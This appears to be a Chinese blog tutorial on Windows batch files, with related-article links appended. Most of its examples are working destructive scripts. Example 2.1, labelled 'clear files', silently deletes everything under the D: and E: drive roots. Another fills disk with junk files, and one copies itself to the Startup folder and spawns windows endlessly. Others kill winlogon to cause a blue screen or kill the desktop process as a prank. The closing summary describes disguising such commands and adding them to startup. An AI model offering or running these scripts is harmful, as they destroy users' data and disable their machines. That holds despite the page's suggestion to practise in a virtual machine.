第4节 批处理文件及示例
批处理文件
- 0批处理的作用
- 1创建批处理文件
- 2示例
- 2.1删除垃圾文件
- 2.2生成垃圾文件
- 2.3将死循环添加到启动项
- 2.4定时小程序
- 2.5致使winXP与2003蓝屏的代码
- 2.6关闭win7桌面
- 3总结
- 4参考文献
0批处理的作用
自上而下成批地处理每一条命令,直到执行最后一条!即便其中某一行命令执行出错,也继续执行后续命令。
1创建批处理文件
新建一个记事本文件,然后将扩展名改为.bat。
批处理文件是以cmd执行的可执行文件,双击即可执行。
2示例
2.1删除垃圾文件
#批处理文件中不能采用#号的注释方式,可以采用其他注释方式,如::等,但均是行注释,本代码为方便逐行注释,采用Python的注释方式。
@echo off #关闭回显功能,屏蔽过程。
color 0a #设置背景和字体颜色
title clear files #设置程序标题
echo ==========================
echo clear your files
echo ==========================
pause #设置暂停,不至于瞬间执行完毕退出
echo. #输出空一行
echo files is chearing #
d: >nul 2>nul #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul #返回D盘根目录
rd . /s/q >nul 2>nul #删除文件及文件夹,部分受系统保护的会提示拒绝访问,使用>nul设置不显示该类提示。
e: >nul 2>nul #“nul”是空的意思。不返回任何结果,无论它是错是对。
cd\ >nul 2>nul #返回E盘根目录
rd . /s/q >nul 2>nul #
ping -n 1 127.0.0.1 >nul 2>nul #可以增加一些不显示的操作
echo congratuation #提示测试结束
pause #
2.2生成垃圾文件
本代码需要以管理员运行
d: >nul 2>nul
cd\ >nul 2>nul
fsutil file creatnew d:sys1.ini 102400000
fsutil file creatnew d:sys2.ini 102400000
fsutil file creatnew d:sys3.ini 102400000
fsutil file creatnew d:sys4.ini 102400000
2.3将死循环添加到启动项
copy %~f0 "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
:xunhuan
start
goto xunhuan
几点说明:
- 请在虚拟机中win7系统上学习使用,不同系统启动路径不一样。
- %~f0:表示当前批处理文件的完整路径。
- userprofile:变量,表示当前用户名,用%%表示获取变量值。
- 有变量及其他符号,需要采用""括起来。
- 冒号代表命名一个代码段,goto表示跳转到一个代码段。
2.4定时小程序
@echo off
color 0a
title 定时小程序V1.0
:menu
cls
echo ==========================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo ==========================set /p choose=输入您的选择序号
if "%choose%" =="1" goto 1.定时关机
if "%choose%" =="2" goto 2.取消定时
if "%choose%" =="3" goto 3.退出
echo 别TM瞎搞,请输入1 2 3。
pause
goto menu:1.定时关机
set /p timeoff=输入定时关机时间(s):
shutdown -s -f -t %timeoff%
goto menu:2.取消定时
shutdown -a
goto menu:3.退出
exit
几点说明:
- set设置变量,/p表示变量值为用户输入。
- 注意逻辑完整,提示信息完整。
2.5致使winXP与2003蓝屏的代码
nstd -c q -pn winlogon.exe
几点说明:
- ntsd,强制杀进程.
- 因为该进程是批处理执行所需要,所以系统会蓝屏。
2.6关闭win7桌面
@echo off
color 0a
taskkill /im explorer.exe /f
echo 完蛋了
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
echo 吓唬你的
pause
几点说明:
- taskkill,杀进程。
- /im指定进程。
- /f强制执行
- explorer桌面进程
3总结
本节课程在学习nas基本命令的基础上,使用批处理文件对一些特殊功能的命令进行伪装、添加到启动项等操作,应注意代码逻辑的完整。
4参考文献
- 获取批处理文件所在路径
第4节 批处理文件及示例相关推荐
- SQL Server时间粒度系列----第9节时间粒度示例演示
本文目录列表: 1.准备测试数据 2.向测试数据表添加相关时间粒度字段列 3.基于日月季年统计汇总的演示 4.总结语 5.参考清单列表 准备测试数据 为了提供不同时间粒度示例的演示,就需要测试数据 ...
- 谁的饭量大 c语言编程,c语言第一章第一节 认识变量(示例代码)
声明:本人大一新生,闲着无聊..写写c语言教程..菜鸟一枚..大神勿喷!!! 接下来我们都用dev来进行编译..vc++太古老了,没提示功能,不好上手,并且老是出毛病..vs太大了,编个c不至于,运行 ...
- 第5节 批处理编写及其示例
批处理编写及其示例 0 引言 1 批处理用以及创建批处理文件 1.1 批处理的作用 1.2 创建批处理文件 2示例 2.1删除垃圾文件 2.2生成垃圾文件 2.3将死循环添加到启动项 2.3.1 &q ...
- C#开发Unity游戏教程循环遍历做出判断及Unity游戏示例
C#开发Unity游戏教程循环遍历做出判断及Unity游戏示例 Unity中循环遍历每个数据,并做出判断 很多时候,游戏在玩家做出判断以后,游戏程序会遍历玩家身上大量的所需数据,然后做出判断,即首先判 ...
- Logstash 参考指南(使用Filebeat Modules配置示例)
使用Filebeat Modules配置示例 本节中的示例展示了如何构建用于解析Filebeat模块收集的数据的Logstash管道: Apache 2日志 本例中的Logstash管道配置展示了如何 ...
- Qt Creator调试C ++示例应用程序
Qt Creator调试C ++示例应用程序 调试C ++示例应用程序 调试C ++示例应用程序 本节使用TextFinder示例来说明如何在"调试"模式下调试Qt C ++应用程 ...
- 在ASP.NET AJAX中使用应用程序服务和本地化(4):示例程序:读取、修改并保存用户个性化信息...
本文来自<ASP.NET AJAX程序设计 第II卷:客户端Microsoft AJAX Library相关>的第五章<应用程序服务和本地化>. 让我们通过编写一个完整的示例程 ...
- 7z替换exe文件内容不能替换文件_Windows小技巧 批处理文件实现目录下文件批量打包压缩...
最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐.为了提高效率且,方便后面取用,所有打算捣鼓个 ...
- c# 指定打开某个路径下的CMD_Windows小技巧 批处理文件实现目录下文件批量打包压缩...
最近整理资料,发现很多 pdf 文档,占用了不少的存储空间,考虑使用 7-zip 进行压缩存储,由于文件比较多,且分散在不同目录下,一个个文件压缩比较繁琐.为了提高效率且,方便后面取用,所有打算捣鼓个 ...
最新文章
- 计算机在线咨询,计算机科学与技术
- QSS之图形渐变填充
- MySql数据库索引底层数据结构
- cakephp oracle,Cakephp的魔法函数解析,findBy…
- 如何在LOL中成功制造一颗飞弹?
- 【机器视觉】 halcon中图像获取
- 微信最近的一些新改动
- NLP算法-情绪分析-snowNLP算法库
- win7此计算机无法加入家庭组,Win7系统无法加入家庭组问题的解决方法
- 英语词根学习笔记(前六章)——《英语词根与单词的说文解字》李平武
- args.verbose 的意思
- 浅谈sketch插件二
- Xcode 禁用indexing
- 字符串相似度比较工具
- 大华 / 海康威视(HIKVISION) 网络视像头的连接及使用
- Arduino蓝牙遥控小车
- linux下通过SD卡烧录.bin程序
- (笔记)SLF4J: No SLF4J providers were found.解决方法
- Redis主从复制、Redis哨兵模式、Redis集群
- 关于类在3D世界或更加宽广维度中的视角1